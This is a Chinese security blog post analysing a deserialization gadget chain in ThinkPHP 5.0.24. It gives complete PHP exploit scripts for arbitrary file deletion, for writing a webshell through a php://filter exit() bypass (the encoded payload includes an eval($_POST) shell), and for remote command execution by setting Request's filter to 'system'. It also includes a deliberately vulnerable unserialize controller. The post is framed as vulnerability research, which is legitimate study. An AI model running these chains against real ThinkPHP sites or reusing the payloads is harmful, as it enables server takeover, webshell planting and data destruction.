Thinkphp5.0.24反序列化分析

2024-05-09 582 0

环境配置

phpstudy+php5.6.9

搭建成功后进行写入测试代码

application/index/controller/Index.php

<?php
namespace app\index\controller;

class Index{
public function index()
{
$a = $_GET['string'];
unserialize($a);
}

}
参考:https://blog.csdn.net/qq_33942040/article/details/127428648

分析链

给个部分链子

Thinkphp5.0.24反序列化分析插图

开始需要有一个口子找__destruct或者____wakeup

Thinkphp5.0.24反序列化分析插图1

这里使用windows文件里面的

public function __destruct()
{
$this->close();
$this->removeFiles();
}

$this->removeFiles();

private function removeFiles()
{
foreach ($this->files as $filename) {
//存在任意文件删除
if (file_exists($filename)) {
@unlink($filename);
}
}
$this->files = [];
}

removeFiles()函数在进行file_exists($filename)的时候会把$filename当做字符串进行处理,从而可以利用的__tostring

再就是这里存在任意文件删除,exp如下

<?php


namespace think\process\pipes;
class Windows
{
private $files = ["D:\phpstudy_pro\WWW//think.test.com//tp5015//thinkphp//librarythink\process\pipes\b.txt"];//这里需要时绝对路径且注意\t的位置换为\\不然会识别为换行


}
echo urlencode(serialize(new Windows));
?>

下面需要找下__tostring()方法,这里使用到thinkphp/library/think/Model.php的tostring方法

public function __toString()
{
return $this->toJson();
}

public function toJson($options = JSON_UNESCAPED_UNICODE)
{
//返回json编码的数据
return json_encode($this->toArray(), $options);
}

toArray()

public function toArray()
{
...
// 追加属性(必须定义获取器)
if (!empty($this->append)) {
//1.$this->append!=空
foreach ($this->append as $key => $name) {
if (is_array($name)) {
...
} else {
$relation = Loader::parseName($name, 1, false);
if (method_exists($this, $relation)) {
//2.method_exists($this, $relation) 在this中需要存在$relation方法
$modelRelation = $this->$relation();
//$value 在此处进行声明
$value         = $this->getRelationData($modelRelation);
if (method_exists($modelRelation, 'getBindAttr')) {
//3.method_exists($modelRelation, 'getBindAttr')
$bindAttr = $modelRelation->getBindAttr();
if ($bindAttr) {
//4.$bindAttr
foreach ($bindAttr as $key => $attr) {
$key = is_numeric($key) ? $attr : $key;
if (isset($this->data[$key])) {
throw new Exception('bind attr has exists:' . $key);
} else {
//调用__call的条件getAttr() getAttr()就是获取模型方法的
//如果value可控我们就可以构造一个不存在的方法进行调用即可到__call
$item[$key] = $value ? $value->getAttr($attr) : null;
}
}
continue;
}
}
$item[$name] = $value;
} else {
...
}
}

这里需要满足上面5个条件才可以使用$values->getAttar($attr)从而触发__call

条件1:$this->append!=空

// 追加属性
protected $append = [];

这个属性是我们可控的

条件2:method_exists($this, $relation)

$relation是由,$relation = Loader::parseName($name, 1, false);控制的,$name是由我们传入的$this->append进行控制的,那么传入的append里面就需要存在即this->append=[‘该类中存在的方法名’];这里使用getError方法。那么这个$relation是我们可控的
public function getError()
{
return $this->error;
}

条件3:method_exists($modelRelation, 'getBindAttr')

$modelRelation = $this->$relation();
//$value 在此处进行声明
$value         = $this->getRelationData($modelRelation);
//$valuer = new Output()

if (method_exists($modelRelation, 'getBindAttr')) {....}

$this->$relation()可控。从而$modelRelation也是可控的,我们最终就是控制$value进行$value->getAttr($attr)。这里就需要找一个存在getBindAttr方法的类

thinkphp/library/think/model/relation/OneToOne.php存在该方法,找一个继承该类的类看看

Thinkphp5.0.24反序列化分析插图2

这里使用BelongsTo,后面exp中this->error=new BelongsTo();赋值就行

4.$bindAttr

$modelRelation = $this->$relation();
$bindAttr = $modelRelation->getBindAttr();

刚才提到$modelRelation是我们可控的,如果让$binAttr为true的话那么给个值即可,如$this->bindAttr = ["test"=>"test"];

然后就可以到$value了

if ($bindAttr) {
foreach ($bindAttr as $key => $attr) {
$key = is_numeric($key) ? $attr : $key;
if (isset($this->data[$key])) {
throw new Exception('bind attr has exists:' . $key);
} else {
$item[$key] = $value ? $value->getAttr($attr) : null;
}
}

而$value经过上面的

$value         = $this->getRelationData($modelRelation);

getRelationData()

protected function getRelationData(Relation $modelRelation)
{
if ($this->parent && !$modelRelation->isSelfRelation() && get_class($modelRelation->getModel()) == get_class($this->parent)) {
$value = $this->parent;
} else {
// 首先获取关联数据
if (method_exists($modelRelation, 'getRelation')) {
$value = $modelRelation->getRelation();
} else {
throw new BadMethodCallException('method not exists:' . get_class($modelRelation) . '-> getRelation');
}
}
return $value;
}

这里又需要进行满足这些条件才行

$this->parent && !$modelRelation->isSelfRelation() && get_class($modelRelation->getModel()) == get_class($this->parent)

条件1:$this->parent

protected $parent;

这个是自己可控的,但是需要注意条件3,我们这里需要构造一个同样让其相等的条件

条件2:!$modelRelation->isSelfRelation()

Thinkphp5.0.24反序列化分析插图3

可以看到我们传入的$modelRelation是BelongsTo其继承了OneToOne而其是继承了Relation,然后Relation中又存在isSelfRelation,如果不定义这个变量即可满足

条件3:get_class($modelRelation->getModel()) == get_class($this->parent)

getModel()

public function getModel()
{
return $this->query->getModel();
}

这里query是可控的,需要再找个类中的getModel()是可控的,这里使用ModelNotFoundException类

public function getModel()
{
return $this->model;
}

至此$value就完全可控了,下面给出大佬的exp

<?php

namespace think;
use think\Model\Relation\BelongsTo;
use think\console\Output;
abstract class Model
{
protected $append = [];
protected $error;
protected $parent;
public function __construct()
{

$this->append=['getError'];
$this->error=new BelongsTo();
$this->parent=new 我们想控制的类必须跟ModelNotFoundException的model是一样的();
}
}

namespace think\model\relation;
use think\db\exception\ModelNotFoundException;
class BelongsTo
{
protected $query;//去进行触发下一条链
protected $bindAttr = [];
public function __construct()
{
$this->query = new ModelNotFoundException();
$this->bindAttr = ["test"=>"test"];//这里随便不为空即可
}
}

namespace think\db\exception;
use think\console\Output;
class ModelNotFoundException
{

protected $model;
public  function __construct()
{
$this->model=new 我们想控制的类();
}
}
namespace think\model;
use think\Model;
class Merge  extends Model{

}
namespace think\process\pipes;
use think\model\Merge ;
class Windows
{

private $files = [];
public function __construct()
{

$this->files=[new Merge()]; }


}
use think\process\pipes\Windows;
echo urlencode(serialize(new Windows));
?>


转载于:https://blog.csdn.net/qq_33942040/article/details/127428648

因为到这才是$value可控,可以出发__call,那么现在就需要去找一些call看看有哪些可以利用的

这里用到了thinkphp/library/think/console/Output.php里面的__call

public function __call($method, $args)
{
if (in_array($method, $this->styles)) {
array_unshift($args, $method);
return call_user_func_array([$this, 'block'], $args);
}

if ($this->handle && method_exists($this->handle, $method)) {
return call_user_func_array([$this->handle, $method], $args);
} else {
throw new Exception('method not exists:' . __CLASS__ . '->' . $method);
}
}

其中call_user_func_array([$this, 'block'], $args);里面的block可以跟进看看

protected function block($style, $message)
{
$this->writeln("<{$style}>{$message}</$style>");
}

↓↓↓↓↓↓↓↓↓↓

public function writeln($messages, $type = self::OUTPUT_NORMAL)
{
$this->write($messages, true, $type);
}

↓↓↓↓↓↓↓↓↓↓

public function write($messages, $newline = false, $type = self::OUTPUT_NORMAL)
{
$this->handle->write($messages, $newline, $type);
}

到这$this->handle是可控的,找下write类,其中Memcache方法和Memcached方法 里面的handler可控,可以作用于后续的跳转利于,这里利用Memcache

thinkphp/library/think/session/driver/Memcache.php

到__set方法后,下一条链子在thinkphp/library/think/cache/driver/File.php

其中得set方法如下

public function set($name, $value, $expire = null)
{
if (is_null($expire)) {
$expire = $this->options['expire'];
}
if ($expire instanceof \DateTime) {
$expire = $expire->getTimestamp() - time();
}
$filename = $this->getCacheKey($name, true);
if ($this->tag && !is_file($filename)) {
$first = true;
}
$data = serialize($value);
if ($this->options['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}
$data   = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);
if ($result) {
isset($first) && $this->setTagItem($filename);
clearstatcache();
return true;
} else {
return false;
}
}

if ($result) {
isset($first) && $this->setTagItem($filename);
clearstatcache();
return true;
} else {
return false;
}

文件写入主要是因为setTagItem方法,第一次的file_put_contents是写不了的文件名可控$data不可控,然后到setTagItem方法里面

setTagItem()

protected function setTagItem($name)
{
if ($this->tag) {
$key       = 'tag_' . md5($this->tag);
$this->tag = null;
if ($this->has($key)) {
$value   = explode(',', $this->get($key));
$value[] = $name;
$value   = implode(',', array_unique($value));
} else {
$value = $name;
}
$this->set($key, $value, 0);
}
}

可以看到其是二次调用了set,而且$key和$value是可控的随后到set方法里面,$data就可控了,但是这里需要绕过一下exit()

linux绕过payload

php://filter/write=string.rot13/resource=<?cuc @riny($_CBFG[\'pzq\']);?>windows的

windows绕过payload

$this->options['path']=php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php

到这给贴出exp

<?php

namespace think;
use think\Model\Relation\BelongsTo;
use think\console\Output;
abstract class Model
{
protected $append = [];
protected $error;
protected $parent;
public function __construct()
{

$this->append=['getError'];
$this->error=new BelongsTo();
$this->parent=new Output();
}
}

namespace think\model\relation;
use think\db\exception\ModelNotFoundException;
class BelongsTo
{
protected $query;//去进行触发下一条链
protected $bindAttr = [];
public function __construct()
{
$this->query = new ModelNotFoundException();
$this->bindAttr = ["test"=>"test"];//这里随便不为空即可
}
}

namespace think\db\exception;
use think\console\Output;
class ModelNotFoundException
{

protected $model;
public  function __construct()
{
$this->model=new Output();
}
}

namespace think\console;
use think\session\driver\Memcached;
class Output{
private $handle;//去触发Memcached的链
protected $styles = [
"getAttr"
];
public function __construct()
{
$this->handle = new Memcached();
}

}


namespace think\session\driver;
use think\cache\driver\File;
class Memcached{
protected $handler = null;
function __construct(){
$this->handler=new File();

}

}
namespace think\cache;
abstract class Driver
{

}

namespace think\cache\driver;
use think\cache\Driver;
class File extends Driver
{
protected $tag;
protected $options=[];
public function __construct(){
$this->options = [
'expire'        => 0,
'cache_subdir'  => false,
'prefix'        => '',
'path'          => 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgcGhwaW5mbygpOz8+IA==/../a.php',
'data_compress' => false,
];
$this->tag = true;
}
public function get_filename()
{
$name = md5('tag_' . md5($this->tag));
$filename = $this->options['path'];
$pos = strpos($filename, "/../");
$filename = urlencode(substr($filename, $pos + strlen("/../")));
return $filename . $name . ".php";
}

}

namespace think\model;
use think\Model;
class Merge  extends Model{

}
namespace think\process\pipes;
use think\model\Merge ;
class Windows
{

private $files = [];
public function __construct()
{

$this->files=[new Merge()]; }


}
use think\process\pipes\Windows;
echo urlencode(serialize(new Windows));

use think\cache\driver\File;
echo "\n";
$fx = new File();
echo $fx->get_filename();
?>

Thinkphp5.0.24反序列化分析插图4

还有一条链子是RCE的跟着复现分析一下

主要是更换set链

thinkphp/library/think/cache/driver/Memcached.php

在这个文件中set的方法如下

public function set($name, $value, $expire = null)
{
if (is_null($expire)) {
$expire = $this->options['expire'];
}
if ($expire instanceof \DateTime) {
$expire = $expire->getTimestamp() - time();
}
if ($this->tag && !$this->has($name)) {
$first = true;
}
$key    = $this->getCacheKey($name);
$expire = 0 == $expire ? 0 : $_SERVER['REQUEST_TIME'] + $expire;
if ($this->handler->set($key, $value, $expire)) {
isset($first) && $this->setTagItem($key);
return true;
}
return false;
}

其中has()

public function has($name)
{
$key = $this->getCacheKey($name);
return $this->handler->get($key) ? true : false;
}

其中的get方法在thinkphp/library/think/Request.php

public function get($name = '', $default = null, $filter = '')
{
if (empty($this->get)) {
$this->get = $_GET;
}
if (is_array($name)) {
$this->param      = [];
$this->mergeParam = false;
return $this->get = array_merge($this->get, $name);
}
return $this->input($this->get, $name, $default, $filter);
}

跟进input()

public function input($data = [], $name = '', $default = null, $filter = '')
{
if (false === $name) {
// 获取原始数据
return $data;
}
$name = (string) $name;
if ('' != $name) {
...
}

// 解析过滤器
$filter = $this->getFilter($filter, $default);

if (is_array($data)) {
array_walk_recursive($data, [$this, 'filterValue'], $filter);
reset($data);
} else {
$this->filterValue($data, $name, $filter);
}

if (isset($type) && $data !== $default) {
// 强制类型转换
$this->typeCast($data, $type);
}
return $data;
}

跟进filterValue()

private function filterValue(&$value, $key, $filters)
{
$default = array_pop($filters);
foreach ($filters as $filter) {
if (is_callable($filter)) {
// 调用函数或者方法过滤
$value = call_user_func($filter, $value);
} elseif (is_scalar($value)) {
...
}

call_user_func即可进行RCE

下面贴出exp

<?php

namespace think;
use think\Model\Relation\BelongsTo;
use think\console\Output;
abstract class Model
{
protected $append = [];
protected $error;
protected $parent;
public function __construct()
{

$this->append=['getError'];
$this->error=new BelongsTo();
$this->parent=new Output();
}
}
namespace think\model\relation;
use think\db\exception\ModelNotFoundException;
class BelongsTo
{
protected $query;//去进行触发下一条链
protected $bindAttr = [];
public function __construct()
{
$this->query = new ModelNotFoundException();
$this->bindAttr = ["test"=>"test"];//这里随便不为空即可
}
}

namespace think\db\exception;
use think\console\Output;
class ModelNotFoundException
{

protected $model;
public  function __construct()
{
$this->model=new Output();
}
}

namespace think\console;
use think\session\driver\Memcached;
class Output{
private $handle;//去触发Memcached的链
protected $styles = [
"getAttr"
];
public function __construct()
{
$this->handle = new Memcached();
}

}
namespace think\cache;
abstract class Driver{

}

namespace think\session\driver;
use think\cache\driver\Memcache;//这里是write的方法
use think\cache\Driver;
class Memcached {              
protected $handler;
public function __construct()
{
$this->handler = new Memcache();
}

}
namespace think\cache\driver;
use think\Request;
class Memcache{
protected $tag = "test";
protected $handler;//触发Request的链
protected $options = ['prefix'=>'goddemon/'];
public function __construct()
{
$this->handler = new Request();
}
}

namespace think;
class Request{
protected $get = ["goddemon"=>'whoami'];
protected $filter;
public function __construct()
{
$this->filter = 'system';
}
}
namespace think\model;
use think\Model;
class Merge  extends Model{

}
namespace think\process\pipes;
use think\model\Merge ;
class Windows
{

/** @var array */
private $files = [];
public function __construct()
{

$this->files=[new Merge()]; }


}
use think\process\pipes\Windows;
echo urlencode(serialize(new Windows));
?>

有疑问或者交流可以联系我:Qqian_00123


4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

苹果试图保护你的隐私,OpenAI可能做不到
Shuffle:一款完全自动化的安全栈增强平台
如何使用CODASM编码Payload并降低熵值
SessionExec:一款针对会话安全的安全命令测试工具
Arkime:一款大规模数据包捕获和索引数据库系统
从蓝队流量角度分析Shiro-550反序列化漏洞

发布评论